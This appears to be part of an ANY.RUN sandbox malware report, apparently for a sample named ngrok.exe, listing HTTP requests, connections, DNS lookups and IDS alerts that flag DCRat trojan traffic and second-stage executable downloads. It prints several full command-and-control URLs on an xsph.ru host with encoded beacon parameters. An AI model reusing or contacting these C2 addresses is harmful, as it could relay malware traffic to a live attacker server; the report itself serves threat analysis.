http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiIyMGNyQGOkJGZiFWY3UTM0QWOxQjN3IjY0cjZ4I2MkJTZzEWNlBTNxIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
2.09 Kb
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&4478549403ad7f9944a7a7af6cdbb603=d1nI5oUeNpXUX1UaKpnTtJFVZRTVXxkaOR0ToFTeOxmRU1EdrpmW1U0VMxmWt5EMJdlTw0ERYNGbuNGbaNjYqZVbVNGes9ERKl2Tpd2RkhmQsl0cJlmYzkTbiJXNXZVavpWSvJFWZFlUtNmdOJzYwJ1aJNXSplkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJl3Y2R2VhlnUXlVe5YkYsxWbjlmRyoVavpWS5ZlMjZVMXlFbSNTVpd3QiNnVuJmNJlnW1Z0RURnRXpFMOxWSzl0UihmVHRme5k3Ysh3Vh1mQTJGaKNjW2pESjZ3b6lVavpWSvJFWZFVMXlFbSNTVpdXaJBHOXF2aWhVUnNGVP5WTVF1ZzdlWwg3VZxmSGt0Z0c1UnVVbiBHerJ2YKhEW2x2RaFjRFl0MrpnSEZURJJnVHR2cGdlWTh2QJxWNyI2bCNjY550Vh5kSp9UaNhlW1lzRhdXOtNmasdFVpdXaJl2bqlkexcVWqp0VahlSDxUa0cEW5hnVNplRFRVUOZ1UFhnRYV3dGh1Y4xWS2kUejVnVXpVeOJTVpdXaJVHZzIWd01mYWpUaPlWQWN1TGVEVpdXaJNEZFlkeJl2TpBTVRNlSDxUa0IDZ2VjMhVnVslkNJNkYzZkMkxmSYF2RKNETpRjMkZXNyEWdWxWS2kUejFjSYFmMsdEZ1Z0aJNXST10ZwMUSndXRUZkUrlkNJlmY2xmMjlnVtZFV5U1UDp0QMlWTxQlSKVUS0Z1RkpHbzU1ZRhkYxYUbaxmUrlkNJNlW0ZUbURVOVN1QKNETpRjMkZXNyEWdWxWS2k0QSpkUtNGa50WW5Z1RhBTOXRVa3lWS1R2MiVHdtJmVKl2TplEWalnVIRmaG1mWxUzVZ5kUtNGa50WW5Z1RhBTOXRVa3lWS1R2MiVHdtJmVKl2TpV1VihWNFpVeGJjYppEWa9mUzImTKNETpVkajxGeHJmdKhEZ1ljMRZnVHpFcaxWS2k0QapkVykFcahlWFZlRVhkSDxUaFBDTPpUaPlWVHRGaKZUY6ZVbj1mVtVFNGdFVWJUMSl2dplkQ5kGVp9maJVXOXFGMChVY55kMjxmUVp1a5cFV2Z1RaBnWWZVUktWSzl0URZHNrlkNJNVZ5lzVixWMwIGbSdVYXZlRVhkSDxUaFBDTPpUaPlWSzImeOhlWqlTbjFVOXp1as1mVWJUMSl2dplUMJl2TpVVbjFjUzkFbShVYv5UbjJUOXp1as1mVWJUMSl2dplUeWdEZ3Z0RaJkQ5NmasdUY3ZUbjhkQTFFSaZUSrpEWZtWNXlFMOxWS2k0UaRnRtRlVCFjUpdXaJpXVr50dVRUT3FkaSdkSrJ1QopnT3lUaPlWUXNVe5IzY6ZlMZZnSIVlVCFTUpdXaJdXVGVFRKl2TpF1VTxmTXFmMWdkUWJUMRl2d55ENVpXT2kUaiZHbyMGcahlWTZlRVRkSDxUavh0UOJ0QNJTR61UavpWSrZ1VadnTxEma5ckYEJlbixmSuNWMOVlVR50aJNXSTFld0sWS2k0QaxmVHNGV0JTW2hnMRNnRtJWeWdEZ0YVVWFlTrl0cJlWUwRXRJdXSp9UaV1WZw5kVa9mTXlFROREVWJUMRl2dplkQ5kGVp9maJxGcYFGVWdUYqZkMRl3dVZVUOtWSzl0UPl2bqlEbKhFZw40VaBDbHFmaKhVUWJUMRl2dD5kNJl3Y5ljMjpnVykldKhUVzZkMZBHZyIWTWZUVEp0QMBzbqlkeW12Y25UVWFlTrl0cJlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORjSp9Ua0IjYwJFSjBnSzkleWdkUWJUMRl2dplkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMlWSqxUM0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI0gTNlV2MiBzMyUmYyQjNycTZiNmZwYDNwQWY3YzY1YTZyE2YxQ2N3IiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
2.09 Kb
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJhXVqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJhXVqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&ab4b2b3f8893aed2642b60fec55d670d=d1nI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI2YGMwQGZjFjZlZmNlZGZykjMkhjYhZWZzEWYjJ2NlZjN2ATMiFmYmJiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYisHL9JSOx4WS6FzRJhXVqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9kMBRkT11EVNNXWU9EeVpGT5VlaJZTS5lld41WSzl0USVkSp9Uar52YwUzVkZnTtl0cJlmYwhXbjxmSFl0a1cVWNpUaPlGNyIGckdlW5p0QMlGNXF2cKhlWDpUaPl2aIRGcO1WSzl0QNBTRqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiImZzNjBTO2QTMiZzY2cDO4M2MwMmNjZjMjNjZ4YGOzQWYzkzM5MmMwIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
2588
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
908
explorer.exe
172.67.34.170:443
pastebin.com
CLOUDFLARENET
US
unknown
908
explorer.exe
141.8.192.82:80
a0884237.xsph.ru
Sprinthost.ru LLC
RU
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 172.67.34.170
  • 104.20.68.143
  • 104.20.67.143
shared
a0884237.xsph.ru
  • 141.8.192.82
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
908
explorer.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
908
explorer.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
908
explorer.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
908
explorer.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
908
explorer.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
908
explorer.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
908
explorer.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
ngrok.exe